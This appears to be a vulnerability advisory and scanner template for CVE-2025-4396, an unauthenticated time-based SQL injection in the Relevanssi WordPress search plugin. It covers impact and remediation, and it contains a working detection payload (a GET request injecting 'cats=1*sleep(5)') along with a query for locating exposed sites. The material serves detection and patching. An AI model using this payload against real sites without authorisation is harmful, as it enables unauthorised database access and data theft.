The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and <= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.
PoC
id: CVE-2025-4396
info:
name: Relevanssi <= 4.24.4 (Free) - Unauthenticated SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and <= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can extract sensitive database information through time-based SQL injection in the cats and tags search parameters.
remediation: |
Upgrade Relevanssi WordPress plugin to version 4.24.5 or later that properly escapes SQL query parameters.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/detail/relevanssi-4244-free-and-2274-premium-unauthenticated-sql-injection
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search-tax-query.php#L371
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search-tax-query.php#L409
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search.php#L1016
- https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.24.4/lib/search.php#L982
classification:
epss-score: 0.02667
epss-percentile: 0.84986
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-4396
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/relevanssi/"
tags: cve,cve2025,wordpress,wp-plugin,wp,relevanssi,time-based-sqli,vuln,vkev
http:
- raw:
- |
@timeout: 30s
GET /?s={{randstr}}&cats=1*sleep(5) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'contains(content_type, "text/html")'
- 'contains(body, "relevanssi")'
condition: and
# digest: 4a0a0047304502203a8f66edd43944770125e2731d8d563750b501d997d516484b4c2684dc62e560022100f116f1647b09132a249e42284d42327e26a62b2e91936a7374faafc11af277c5:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.